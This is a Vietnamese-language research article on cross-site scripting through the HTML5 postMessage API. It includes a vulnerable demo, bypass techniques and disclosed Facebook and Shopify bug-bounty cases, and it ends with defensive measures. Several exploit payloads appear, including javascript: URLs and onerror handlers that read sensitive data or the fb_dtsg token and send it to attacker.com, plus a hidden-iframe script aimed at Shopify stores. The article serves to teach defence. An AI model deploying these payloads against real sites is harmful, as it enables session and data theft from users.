Nghiên Cứu Về Lỗ Hổng Bảo Mật Cross-Site Scripting Trong Cơ Chế PostMessage

Tác giả: Johto Robbie

I. Giới thiệu

Trong bối cảnh các ứng dụng web hiện đại ngày càng phát triển, nhu cầu trao đổi dữ liệu giữa các cửa sổ trình duyệt trở nên thiết yếu. HTML5 đã giới thiệu cơ chế postMessage như một giải pháp cho phép giao tiếp an toàn giữa các đối tượng cửa sổ có nguồn gốc khác nhau (cross-origin). Tuy nhiên, việc triển khai không đúng cách cơ chế này có thể dẫn đến các lỗ hổng bảo mật nghiêm trọng, đặc biệt là tấn công Cross-Site Scripting (XSS).

Nghiên cứu này phân tích chi tiết cơ chế hoạt động của postMessage và mối quan hệ của nó với lỗ hổng XSS. Thông qua việc phân tích mã nguồn và thực nghiệm, nghiên cứu chỉ ra các nguy cơ bảo mật tiềm ẩn khi triển khai postMessage không đúng cách và đề xuất các biện pháp phòng ngừa hiệu quả.

II. Cơ sở lý thuyết

1. Cơ Chế Hoạt Động Cơ Bản

Phương thức postMessage trong HTML5 cung cấp một cơ chế cho phép giao tiếp an toàn giữa các đối tượng cửa sổ (window objects) có nguồn gốc khác nhau (cross-origin). Điều này đặc biệt hữu ích trong các tình huống như:

- **Giao tiếp giữa trang chính và cửa sổ pop-up:** Cho phép trang chính truyền dữ liệu đến các cửa sổ pop-up mà không vi phạm chính sách cùng nguồn gốc (same-origin policy).
- **Tương tác giữa trang web và iframe:** postMessage hỗ trợ việc truyền thông tin giữa trang cha và iframe nhúng, ngay cả khi chúng thuộc các miền khác nhau.
- **Trao đổi dữ liệu giữa các miền khác nhau:** Giúp các ứng dụng web tương tác với các dịch vụ bên ngoài mà không vi phạm các quy định bảo mật.

2. Chi Tiết Các Tham Số PostMessage

Phương thức postMessage có cú pháp tổng quát như sau:

```
targetWindow.postMessage(message, targetOrigin, [transfer]);
```

Trong đó:

- **targetWindow:** Tham chiếu đến cửa sổ hoặc iframe mà bạn muốn gửi thông điệp. Giá trị này có thể được lấy thông qua các phương thức như window.open() hoặc iframe.contentWindow.
- **message:** Dữ liệu cần gửi đến cửa sổ khác, có thể là chuỗi, đối tượng hoặc mảng. Lưu ý rằng một số trình duyệt chỉ chấp nhận chuỗi hoặc đối tượng JSON làm tham số này.
- **targetOrigin:** Chuỗi chỉ định nguồn gốc (origin) mà thông điệp được phép gửi đến. Điều này tăng cường bảo mật bằng cách đảm bảo rằng thông điệp chỉ được gửi đến các miền đáng tin cậy. Sử dụng ký tự "*" để cho phép gửi đến bất kỳ miền nào, tuy nhiên, điều này không được khuyến khích do rủi ro bảo mật.
- **transfer (tùy chọn):** Mảng các đối tượng được chuyển quyền sở hữu (transferable objects) như ArrayBuffer, giúp tối ưu hóa hiệu suất bằng cách chuyển dữ liệu mà không cần sao chép. Việc sử dụng transfer có thể cải thiện hiệu suất trong các ứng dụng web phức tạp.

Ví dụ sử dụng:

- **Gửi một chuỗi:**

```
window.postMessage("Hello World", "https://example.com");
```

- **Gửi một đối tượng:**

```
window.postMessage({ type: "update", content: "New data" }, "https://example.com");
```

- **Sử dụng transfer để chuyển ArrayBuffer:**

```
const buffer = new ArrayBuffer(1024);

window.postMessage(buffer, "https://example.com", [buffer]);
```

Việc hiểu rõ và áp dụng đúng các tham số của postMessage là cần thiết để đảm bảo giao tiếp an toàn và hiệu quả giữa các cửa sổ trong ứng dụng web, đồng thời giảm thiểu các nguy cơ bảo mật tiềm ẩn.

3. Các Khía Cạnh Bảo Mật

Việc sử dụng postMessage tiềm ẩn nguy cơ gây ra lỗ hổng bảo mật, đặc biệt là Cross-Site Scripting (XSS) nếu không được triển khai đúng cách. Một số khía cạnh bảo mật quan trọng cần lưu ý:

- **Kiểm tra Origin:** Luôn kiểm tra nguồn gốc (origin) của message nhận được để tránh việc xử lý thông tin từ các nguồn không đáng tin cậy. Nếu không kiểm tra đúng cách, kẻ tấn công có thể gửi payload độc hại thông qua postMessage.

```
window.addEventListener('message', function(event) {
   if (event.origin !== "https://trusted-domain.com") {
      return; // Không xử lý nếu không phải từ nguồn tin cậy
   }
   // Xử lý message an toàn
});
```

- **Nguy cơ XSS:** Nếu ứng dụng tin tưởng dữ liệu đầu vào từ postMessage mà không kiểm tra hoặc làm sạch nó, kẻ tấn công có thể gửi mã độc hại như sau:

```
let xssPayload = {
   url: "javascript:alert('XSS Payload Executed!')"
};
receiverWindow.postMessage(xssPayload, '*');
```

Khi trang nhận không kiểm tra origin và gán trực tiếp giá trị từ event.data vào thuộc tính DOM mà không làm sạch, mã độc sẽ được thực thi, dẫn đến lỗ hổng XSS.

III. Phân tích thực nghiệm

1. Kiến trúc hệ thống thử nghiệm

Hệ thống demo bao gồm ba thành phần chính tương tác với nhau thông qua PostMessage:

- Trang điều khiển (index.html): Đóng vai trò là trang gốc, cho phép người dùng mở receiver và gửi các loại message khác nhau
- Trang nhận tin nhắn (receiver.html): Trang web tồn tại lỗ hổng, nhận và xử lý các message
- Trang tấn công (attacker.html): Mô phỏng trang web độc hại gửi payload XSS

2. Phân tích mã nguồn chi tiết

Trang điều khiển (index.html)

```
let receiverWindow;
const RECEIVER_URL = 'http://localhost/postmessage-demo/receiver.html';


function openReceiver() {
   receiverWindow = window.open(RECEIVER_URL, 'receiver', 'width=600,height=400');
}


function sendSafeMessage() {
   if (!receiverWindow) {
      alert('Please open receiver window first!');
      return;
   }
   let safeMsg = {
      url: "http://localhost/postmessage-demo/"
   };
   receiverWindow.postMessage(safeMsg, '*');
   receiverWindow.focus();
```

```
}


function sendXSSPayload() {
    if (!receiverWindow) {
        alert('Please open receiver window first!');
        return;
    }
    let xssMsg = {
        url: "javascript:alert('XSS Payload Executed!')"
    };
    receiverWindow.postMessage(xssMsg, '*');
    receiverWindow.focus();
}
```

Phân tích các điểm quan trọng:

- Sử dụng window.open() để tạo một cửa sổ mới chứa trang receiver
- Thiết lập PostMessage với targetOrigin là '*' (không an toàn)
- Hai hàm gửi message: một an toàn và một chứa payload XSS
- Không có cơ chế xác thực origin khi gửi message

Trang nhận tin nhắn (receiver.html)

```
window.addEventListener("message", (event) => {
    // No origin checking!
    console.log("Received message:", event.data);
    document.getElementById("redirectLink").href = event.data.url;
```

```
    document.getElementById("currentUrl").textContent = event.data.url;
});
```

Các lỗ hổng bảo mật:

1. Thiếu kiểm tra origin: Không có kiểm tra event.origin
2. Tin tưởng dữ liệu đầu vào: Gán trực tiếp event.data.url vào thuộc tính href
3. Không validate URL: Không kiểm tra định dạng hoặc sanitize URL trước khi sử dụng

Trang tấn công (attacker.html)

```
window.onload = function() {
    setTimeout(() => {
        console.log("Sending malicious payload...");
        let xssPayload = {
            url: "javascript:alert('Attacked from malicious page!')"
        };

        document.getElementById("victimFrame")
            .contentWindow
            .postMessage(xssPayload, '*');
    }, 1500);
};
```

Phân tích vector tấn công:

- Sử dụng iframe để nhúng trang receiver
- Tạo payload XSS dưới dạng URL scheme javascript
- Gửi payload thông qua PostMessage với targetOrigin là '*'

- Tận dụng việc receiver không kiểm tra origin để thực thi mã độc hại

3. Khai thác lỗ hổng

3.1. Quy trình tấn công

- Attacker tạo một trang web độc hại chứa iframe trỏ đến trang receiver
- Khi người dùng truy cập trang độc hại, script sẽ tự động gửi payload
- Receiver nhận payload và thực thi mã JavaScript độc hại do thiếu kiểm tra

3.2. Phân tích payload

```
{
   url: "javascript:alert('Attacked from malicious page!')"
}
```

- Sử dụng JavaScript URL scheme để thực thi mã
- Có thể mở rộng để đánh cắp cookies, token, hoặc thực hiện các hành động độc hại khác

IV. Kỹ Thuật Khai Thác Nâng Cao

Trong phần này, chúng ta sẽ khám phá các kỹ thuật tấn công nâng cao nhằm khai thác lỗ hổng trong việc triển khai postMessage, bao gồm việc vượt qua kiểm tra nguồn gốc (origin), tấn công XSS dựa trên DOM, và ô nhiễm prototype(prototype population) trong JavaScript.

1. Vượt Qua Kiểm Tra Nguồn Gốc (Bypass Origin Validation)

Việc xác thực nguồn gốc không chặt chẽ có thể bị kẻ tấn công lợi dụng để gửi các thông điệp độc hại thông qua postMessage. Dưới đây là hai kỹ thuật phổ biến:

1.1. Khai Thác Ký Tự Đại Diện (Wildcards)

Sử dụng ký tự đại diện hoặc kiểm tra không chính xác có thể dẫn đến việc chấp nhận các nguồn gốc không an toàn.

Ví dụ về mã không an toàn:

```
if (event.origin.endsWith('.example.com')) {
```

```
}
```

Trong trường hợp này, kẻ tấn công có thể tạo một tên miền như malicious-example.com, vốn kết thúc bằng .example.com, để vượt qua kiểm tra và gửi thông điệp độc hại.

1.2. Khai Thác Nhầm Lẫn Giao Thức (Protocol Confusion)

Việc kiểm tra nguồn gốc không bao gồm giao thức có thể dẫn đến lỗ hổng.

Ví dụ về mã không an toàn:

```
if (event.origin.indexOf('example.com') !== -1) {
   // Process message
}
```

Kẻ tấn công có thể lợi dụng bằng cách sử dụng các URL như http://evil.com?example.com hoặc https://example.com.evil.com để vượt qua kiểm tra và gửi thông điệp độc hại.

2. Khai Thác XSS Dựa Trên DOM

Các lỗ hổng XSS dựa trên DOM xảy ra khi dữ liệu không được kiểm tra đúng cách trước khi được chèn vào DOM.

2.1. Chèn HTML Thông Qua innerHTML

Việc chèn trực tiếp dữ liệu vào innerHTML mà không kiểm tra có thể dẫn đến chèn mã độc.

Ví dụ về mã tồn tại lỗ hổng:

```
window.addEventListener('message', function(event) {
   document.getElementById('content').innerHTML = event.data.html;
});
```

Payload khai thác:

```
let xssPayload = {
   html: '<img src=x onerror="alert(document.cookie)">'
};
```

Khi payload này được gửi qua postMessage, mã JavaScript trong thuộc tính onerror sẽ được thực thi, dẫn đến lỗ hổng XSS.

2.2. Sử Dụng JavaScript: URL Schemes

Chuyển hướng đến các URL bắt đầu bằng javascript: có thể dẫn đến thực thi mã.

Ví dụ về mã tồn tại lỗ hổng:

```
window.addEventListener('message', function(event) {
   location.href = event.data.redirect;
});
```

Payload khai thác:

```
let payload = {
   redirect: 'javascript:fetch("/api/sensitive-data").then(r => r.text()).then(t =>
fetch("https://attacker.com?" + t))'
};
```

Payload này khi được xử lý sẽ thực thi mã JavaScript, có thể dẫn đến rò rỉ dữ liệu nhạy cảm.

3. Khai Thác Thông Qua Thuộc Tính Đối Tượng (Object Properties)

Prototype Pollution là kỹ thuật tấn công trong JavaScript, nơi kẻ tấn công thay đổi prototype của các đối tượng để chèn các thuộc tính độc hại.

3.1. Constructor Pollution

Việc sao chép thuộc tính từ dữ liệu không tin cậy vào đối tượng có thể dẫn đến prototype pollution.

Ví dụ về mã tồn tại lỗ hổng:

```
function processMessage(data) {
    let config = {};
    Object.assign(config, data);
    renderUI(config);
}
```

Payload khai thác:

```
let payload = {
    __proto__: {
        toString: function() {
            alert(document.cookie);
            return '';
        }
    }
};
```

Khi payload này được xử lý, phương thức toString của đối tượng config sẽ bị ghi đè, dẫn đến thực thi mã không mong muốn.

3.2. Prototype Chain Pollution

Kẻ tấn công có thể chèn các thuộc tính vào prototype chain để thay đổi hành vi của ứng dụng.

Ví dụ về mã tồn tại lỗ hổng:

```
let payload = {
    payload: {
```

```
    __proto__: {
        isAdmin: true
    }
  }
};
```

Trong trường hợp này, thuộc tính isAdmin được chèn vào prototype chain, có thể dẫn đến việc cấp quyền không mong muốn cho kẻ tấn công.

V. Biện Pháp Phòng Chống

1. Kiểm duyệt Nguồn Gốc (Origin) Nghiêm Ngặt

Việc xác thực nguồn gốc của thông điệp là bước quan trọng để đảm bảo chỉ những thông điệp từ các nguồn đáng tin cậy mới được xử lý.

```
window.addEventListener('message', function(event) {
  // Xác định origin được phép
  const allowedOrigin = 'https://trusted-domain.com';

  // Kiểm tra origin của thông điệp
  if (event.origin !== allowedOrigin) {
    console.error('Origin không hợp lệ:', event.origin);
    return;
  }

  // Kiểm tra cửa sổ nguồn gửi thông điệp
  if (event.source !== trustedWindow) {
    console.error('Nguồn gửi không hợp lệ');
```

```
    return;
  }


  // Xử lý thông điệp
  handleMessage(event.data);
});
```

Giải thích:

- **Xác định origin được phép:** Chỉ định rõ ràng miền (domain) được phép gửi thông điệp đến ứng dụng của bạn.
- **Kiểm tra origin của thông điệp:** So sánh event.origin với allowedOrigin để đảm bảo thông điệp đến từ nguồn đáng tin cậy.
- **Kiểm tra cửa sổ nguồn gửi thông điệp:** Xác minh event.source để đảm bảo thông điệp được gửi từ cửa sổ hoặc iframe mong muốn.
- **Xử lý thông điệp:** Nếu tất cả các kiểm tra đều hợp lệ, tiến hành xử lý dữ liệu từ thông điệp.

2. Làm Sạch Dữ Liệu Thông Điệp (Sanitize Message Data)

Để ngăn chặn các cuộc tấn công XSS, cần làm sạch và xác thực dữ liệu nhận được trước khi xử lý.

```
function sanitizeMessage(data) {
  // Kiểm tra cấu trúc của thông điệp
  if (!data || typeof data !== 'object') {
    throw new Error('Định dạng thông điệp không hợp lệ');
  }


  // Danh sách các thuộc tính được phép
  const allowedProps = ['type', 'content', 'id'];
```

```
    Object.keys(data).forEach(key => {
        if (!allowedProps.includes(key)) {
            delete data[key];
        }
    });

    // Làm sạch nội dung
    if (data.content) {
        data.content = DOMPurify.sanitize(data.content);
    }

    return data;
}
```

Giải thích:

- **Kiểm tra cấu trúc của thông điệp:** Đảm bảo rằng dữ liệu nhận được là một đối tượng hợp lệ.
- **Danh sách các thuộc tính được phép:** Chỉ cho phép các thuộc tính cụ thể để tránh việc xử lý các dữ liệu không mong muốn.
- **Làm sạch nội dung:** Sử dụng thư viện như DOMPurify để loại bỏ các mã độc hại trong nội dung.

3. Triển Khai Kiểm Duyệt Định Dạng Thông Điệp (Implement Message Format Validation)

Xác thực định dạng của thông điệp giúp đảm bảo dữ liệu nhận được tuân thủ cấu trúc mong đợi, giảm nguy cơ lỗi và lỗ hổng bảo mật.

```
// Định nghĩa schema cho thông điệp
const messageSchema = {
    type: 'object',
```

```
  required: ['action', 'data'],
  properties: {
    action: {
      type: 'string',
      enum: ['UPDATE', 'DELETE', 'CREATE']
    },
    data: {
      type: 'object',
      additionalProperties: false,
      properties: {
        id: { type: 'string' },
        content: { type: 'string' }
      }
    }
  }
};


// Hàm xác thực thông điệp
function validateMessage(message) {
  const validate = ajv.compile(messageSchema);
  if (!validate(message)) {
    throw new Error('Định dạng thông điệp không hợp lệ');
  }
}
```

Giải thích:

- **Định nghĩa schema cho thông điệp:** Sử dụng JSON Schema để xác định cấu trúc và các giá trị hợp lệ cho thông điệp.
- **Hàm xác thực thông điệp:** Sử dụng thư viện như Ajv để biên dịch và kiểm tra thông điệp dựa trên schema đã định nghĩa.

VI. Case Studies

1. Trường Hợp Facebook với Tiền Thưởng $20,000

Một lỗ hổng bảo mật trong cách Facebook xử lý sự kiện postMessage trong các iframe đã được phát hiện. Lỗ hổng này có thể bị khai thác để thực thi mã JavaScript độc hại qua thông điệp được gửi từ một trang web độc hại vào Facebook, thông qua các iframe hoặc pop-up. Kẻ tấn công có thể lợi dụng lỗ hổng này để đánh cắp thông tin nhạy cảm như token người dùng hoặc thậm chí thực thi mã trên nền tảng của Facebook.

Chi Tiết Lỗ Hổng

Lỗ hổng này xuất phát từ cách Facebook xử lý sự kiện message trong trình duyệt khi nhận dữ liệu từ iframe. Facebook không kiểm tra đầy đủ tính hợp lệ của nguồn gốc (origin) và dữ liệu nhận được từ postMessage. Điều này cho phép kẻ tấn công gửi thông điệp có chứa mã độc vào Facebook, gây ra các hậu quả như:

- **Tiêm mã JavaScript độc hại**: Kẻ tấn công có thể chèn mã độc vào HTML mà Facebook hiển thị, ví dụ như tiêm mã vào phần tử DOM.
- **Lấy cắp token và dữ liệu người dùng**: Mã độc có thể khai thác các giá trị nhạy cảm (như token) từ các trang của Facebook và gửi chúng về máy chủ của kẻ tấn công.

Mã Khai Thác

- **Payload khai thác XSS**: Kẻ tấn công có thể gửi một thông điệp chứa HTML với mã JavaScript độc hại thông qua postMessage.

```
const payload = {
  type: 'render',
  html: '<img src=x onerror="(function(){' +
```

```
        'var token = document.querySelector(\'[name=fb_dtsg]\').value;' +
        'var data = {token: token};' +
        'fetch(\'https://attacker.com\', {method:\'POST\',body:JSON.stringify(data)})' +
        '})();">'
};
```

- **Pop-up khai thác**: Kẻ tấn công có thể sử dụng pop-up để gửi thông điệp độc hại vào iframe của Facebook, gây ra hành động không mong muốn.

```
var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php", "opener", "scrollbars=no,width=500,height=1");
setTimeout(function() {
   var message = { "xdArbiterHandleMessage": true, "message": { "method": "loginButtonStateInit", "params": JSON.stringify({ 'call': { 'id': '123', 'url': 'javascript:alert(document.domain);' }})}};
   opener.postMessage(message, '*');
}, 4000);
```

- **Iframe khai thác**: Tạo iframe chứa mã độc và gửi thông điệp qua postMessage từ trang của kẻ tấn công.

```
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php" onload="fbFrameLoaded(this)"></iframe>
<script>
function fbFrameLoaded() {
   var iframeEl = document.getElementById('fbframe');
   var message = { "xdArbiterHandleMessage": true, "message": { "method": "loginButtonStateInit", "params": JSON.stringify({ 'call': { 'id': '123', 'url': 'javascript:alert(document.domain);' }})}};
   iframeEl.contentWindow.postMessage(message, '*');
```

```
};

</script>
```

Biện Pháp Khắc Phục

Facebook đã khắc phục lỗ hổng bằng cách cải thiện kiểm tra tính hợp lệ của nguồn gốc (origin) trong các thông điệp postMessage. Họ sử dụng các biện pháp sau:

- **Kiểm tra URL nguồn gốc**: Facebook đảm bảo rằng các thông điệp chỉ được nhận từ các URL hợp lệ của Facebook, ngăn chặn mã độc từ các nguồn không đáng tin cậy.
- **Sử dụng regex để kiểm tra URL**: Facebook sử dụng biểu thức chính quy để xác thực URL, chỉ chấp nhận các liên kết từ facebook.com.

```
d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),

j = c.call;

d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code",
"PLATFORM__INVALID_URL").getURI().toString())
```

2. Trường Hợp Shopify Shop - Lỗ hổng XSS qua windows.postMessage

Lỗ hổng Cross-Site Scripting (XSS) ảnh hưởng đến tất cả các cửa hàng Shopify và có thể được kích hoạt thông qua windows.postMessage từ bất kỳ nguồn gốc từ xa nào. Điểm cuối /id/digital_wallets/dialog được sử dụng để hiển thị một hộp thoại nhỏ liên quan đến tính năng "digital wallets" trên cửa hàng. Điểm cuối này bao gồm một script lắng nghe các thông điệp postMessage mà không kiểm tra tính hợp lệ của nguồn gốc các thông điệp. Tuy nhiên, tác động của việc thiếu kiểm tra nguồn gốc là rất hạn chế vì script cố gắng thoát bất kỳ nội dung nào để ngăn chặn việc chèn HTML. Tuy nhiên, bằng cách gửi một postMessage được chế tạo đặc biệt chứa một đối tượng có thể "sao chép" (theo thuật toán sao chép có cấu trúc HTML5), việc thoát này có thể bị bỏ qua, cho phép kẻ tấn công tiêm mã JavaScript độc hại vào trang web.

Kỹ Thuật Tấn Công:

Tấn công này khai thác một lỗ hổng trong việc xử lý các thông điệp postMessage gửi từ một iframe vào một ứng dụng Shopify. Kỹ thuật này chủ yếu dựa vào việc kiểm soát thuộc tính name của đối tượng File trong JavaScript, từ đó tiêm mã HTML vào DOM mà không bị thoát đúng cách.

Các bước chi tiết trong tấn công:

- **Khởi tạo iframe:** Kẻ tấn công tạo một iframe không hiển thị (với display: none), không bị phát hiện trên giao diện người dùng. Thao tác này giúp tạo một không gian mà kẻ tấn công có thể gửi các thông điệp mà không bị gián đoạn bởi người dùng.
- **Đặt nguồn iframe đến URL mục tiêu:** Iframe sẽ được cấu hình để tải trang web Shopify có một URL đặc biệt: /:id/digital_wallets/dialog. Đây là route mà ứng dụng Shopify xử lý các thông điệp postMessage. Khi iframe tải trang này, kẻ tấn công có thể bắt đầu gửi thông điệp postMessage vào cửa sổ con của iframe.
- **Gửi thông điệp postMessage:** Khi iframe đã tải thành công, kẻ tấn công sẽ gửi một thông điệp postMessage đến cửa sổ con của iframe với dữ liệu được khai thác. Cụ thể, thông điệp có chứa một đối tượng File mà thuộc tính name của nó được kiểm soát để chứa mã HTML độc hại.

  Đặc biệt, thuộc tính name của đối tượng File không có phương thức hasOwnProperty, điều này có nghĩa là nó sẽ không bị thoát HTML đúng cách. Đây là lý do tại sao kẻ tấn công có thể tiêm mã JavaScript vào trang web mục tiêu.
- **Tiêm mã độc vào DOM:** Đối tượng File mà kẻ tấn công gửi qua postMessage chứa thuộc tính name với một chuỗi được kiểm soát có chứa mã HTML hoặc JavaScript độc hại. Ví dụ, chuỗi có thể là <img src=xx: onerror=alert(document.domain)>, mà khi được đưa vào DOM sẽ thực thi mã JavaScript qua sự kiện onerror của thẻ <img>.

  Mã này có thể thực thi JavaScript bất hợp pháp, ví dụ như tạo ra một pop-up thông báo alert(document.domain), hoặc các hành vi xâm hại khác như đánh cắp thông tin người dùng, thực thi các lệnh từ xa, hoặc chuyển hướng người dùng đến các trang web độc hại.

Chi Tiết Về Các Hàm Trong Mã:

- **Hàm u(payload):**
  Hàm này có chức năng thoát HTML cho tất cả các thuộc tính trong đối tượng payload. Tuy nhiên, nó gặp vấn đề trong cách xử lý các thuộc tính của đối tượng File vì các thuộc tính này không có phương thức hasOwnProperty. Điều này tạo ra một lỗ hổng bảo mật.

```
function u(payload) {
  for (var idx in payload) {
    if (payload.hasOwnProperty(idx)) {
      payload[idx] = Ve.escapeHtml(payload[idx]);
    }
  }
  return payload;
}
```

Ở đây, hàm escapeHtml được gọi để đảm bảo rằng tất cả các ký tự đặc biệt trong dữ liệu được chuyển thành mã HTML an toàn, nhưng đối với các đối tượng như File, thuộc tính name không bị thoát đúng cách.

- **Hàm m(payload):**
  Hàm này chịu trách nhiệm render dữ liệu lên DOM. Dữ liệu trong payload sẽ được xử lý và hiển thị dưới dạng một bảng HTML. Khi thuộc tính name của đối tượng File chứa mã HTML độc hại, mã này sẽ được đưa vào DOM và thực thi.

```
function m(payload) {
  var escaped = u(payload);
  if (escaped.variant) {
    return `
      <span class="product__description__variant order-summary__small-text">
        ${escaped.variant}
      </span>
    `;
  }
```

```
  return `
   <tr class="product">
    <td class="product__image">
     <div class="product-thumbnail">
      <div class="product-thumbnail__wrapper">
       <img alt="${escaped.name}" class="product-thumbnail__image" src="${escaped.image}">
      </div>
      <span class="product-thumbnail__quantity" aria-hidden="true">${escaped.amount}</span>
     </div>
    </td>
    <td class="product__description">
     <span class="product__description__name order-
summary__emphasis">${escaped.name}</span>
     ${escaped.variant}
    </td>
    <td class="product__quantity visually-hidden">${escaped.amount}</td>
    <td class="product__status product__status--sold-out">${escaped.message}</td>
   </tr>
  `;
}
```

- **Hàm p(inst, payload):**

  Hàm này xử lý các yếu tố DOM và chèn thông tin từ payload vào các thành phần thích hợp. Mã độc có thể được tiêm vào một trong các trường như name, message, hoặc image trong payload, do đó khả năng dẫn đến một lỗ hổng bảo mật.

```
function p(inst, payload) {
  _(inst, t.icon);
  v(inst, "title", payload.title);
  if (payload.errors) {
    // Xử lý lỗi
  }
  if (payload.lineItems) {
    v(inst, "errorList", f(payload.lineItems)); // Tạo bảng với các dòng thông tin
    inst.staticElements.errorListContainer.classList.remove("hidden");
    v(inst, "dismissButton", payload.button || "Close");
  }
}
```

Tạo Lỗ Hổng và Khai Thác:

Kẻ tấn công có thể lợi dụng sự thiếu kiểm soát của thuộc tính name của đối tượng File để chèn mã HTML không bị thoát đúng cách vào trang web mục tiêu.

Ví dụ về mã khai thác:

```
let shop = prompt("Enter a Target Shop URL:", "https://bored-engineering-whitehat-
2.myshopify.com");
let frame = document.createElement("iframe");
frame.src = `${shop}/1337/digital_wallets/dialog`;
frame.style.display = "none";  // Ẩn iframe


frame.onload = () => {
  frame.contentWindow.postMessage({
```

```
    type: "DigitalWalletsDialog:change",
    digitalWalletsDialog: true,
    payload: {
     title: "placeholder",
     button: "placeholder",
     lineItems: [new File([""], "<img src=xx: onerror=alert(document.domain)>")],
    },
  }, "*");  // Gửi thông điệp tới tất cả các nguồn gốc
}


document.body.appendChild(frame);
```

Khi iframe tải thành công và nhận thông điệp postMessage, mã độc trong thuộc tính name của đối tượng File sẽ được xử lý và tiêm vào DOM, gây ra hành vi không mong muốn (trong ví dụ này là một alert với tên miền của trang web).

Giải Pháp và Biện Pháp Khắc Phục:

- Kiểm tra nguồn gốc của postMessage:
    - Trước khi xử lý thông điệp postMessage, hãy kiểm tra event.origin để đảm bảo thông điệp đến từ một nguồn đáng tin cậy.
- Thoát HTML đúng cách cho tất cả các thuộc tính:
    - Cần đảm bảo rằng tất cả các thuộc tính trong payload được thoát HTML đúng cách. Điều này bao gồm các đối tượng như File, hoặc bất kỳ đối tượng nào có thể được sử dụng trong các cuộc gọi postMessage.
- Chặn sử dụng các đối tượng không đáng tin cậy trong postMessage:
    - Các đối tượng như File, Error, hoặc bất kỳ đối tượng nào có thể vượt qua cơ chế thoát HTML phải được loại bỏ hoặc thay thế bằng các đối tượng an toàn hơn.
- Áp dụng chính sách bảo mật CORS:

    - Sử dụng chính sách bảo mật CORS chặt chẽ để giới hạn các nguồn có thể gửi thông điệp postMessage vào ứng dụng.

- Sử dụng Content Security Policy (CSP):
    - CSP có thể giúp ngăn ngừa việc thực thi mã JavaScript không mong muốn từ các nguồn không tin cậy.

VII. Kết luận

Kết luận, nghiên cứu này đã làm rõ mối liên hệ giữa cơ chế PostMessage và lỗ hổng bảo mật Cross-Site Scripting (XSS) trong các ứng dụng web hiện đại. Việc triển khai PostMessage không đúng cách có thể tạo ra các điểm yếu bảo mật nghiêm trọng, như đã thấy trong các trường hợp của Facebook và Shopify. Để giảm thiểu rủi ro, các nhà phát triển nên tuân thủ các biện pháp sau:

- **Xác thực và lọc đầu vào:** Đảm bảo rằng tất cả dữ liệu nhận được thông qua PostMessage đều được xác thực và lọc kỹ lưỡng để loại bỏ các mã độc tiềm ẩn.
- **Sử dụng targetOrigin cụ thể:** Khi gửi thông điệp, luôn chỉ định chính xác targetOrigin để đảm bảo chỉ các miền đáng tin cậy mới nhận được dữ liệu.
- **Tránh chèn trực tiếp HTML từ dữ liệu nhận được:** Hạn chế việc chèn nội dung HTML trực tiếp từ thông điệp vào trang web; thay vào đó, sử dụng các phương pháp an toàn để cập nhật DOM.

Bằng cách áp dụng các biện pháp này, chúng ta có thể tăng cường bảo mật cho ứng dụng web, giảm thiểu nguy cơ bị tấn công XSS thông qua cơ chế PostMessage, và bảo vệ người dùng khỏi các mối đe dọa tiềm tàng.

VIII. Tài liệu tham khảo

- HTML Living Standard - Web Messaging - https://html.spec.whatwg.org/multipage/web-messaging.html
- OWASP Cross-site Scripting Prevention Cheat Sheet - https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- MDN Web Docs - Window.postMessage() - https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

- Introduction to postMessage() Vulnerabilities - https://www.yeswehack.com/learn-bug-bounty/introduction-postmessage-vulnerabilities
- Exploiting PostMessage for cool XSS vulnerabilities - https://manasharsh.medium.com/exploiting-postmessage-for-cool-xss-vulnerabilities-cbea132398e1
- $20000 Facebook DOM XSS - https://vinothkumar.me/20000-facebook-dom-xss/
- XSS on any Shopify shop via abuse of the HTML5 structured clone algorithm in postMessage listener on "/:id/digital_wallets/dialog" - https://hackerone.com/reports/231053
- Bạn đã bao giờ nghe về "lỗ hổng" postMessage ? - https://viblo.asia/p/ban-da-bao-gio-nghe-ve-lo-hong-postmessage-aWj537kp56m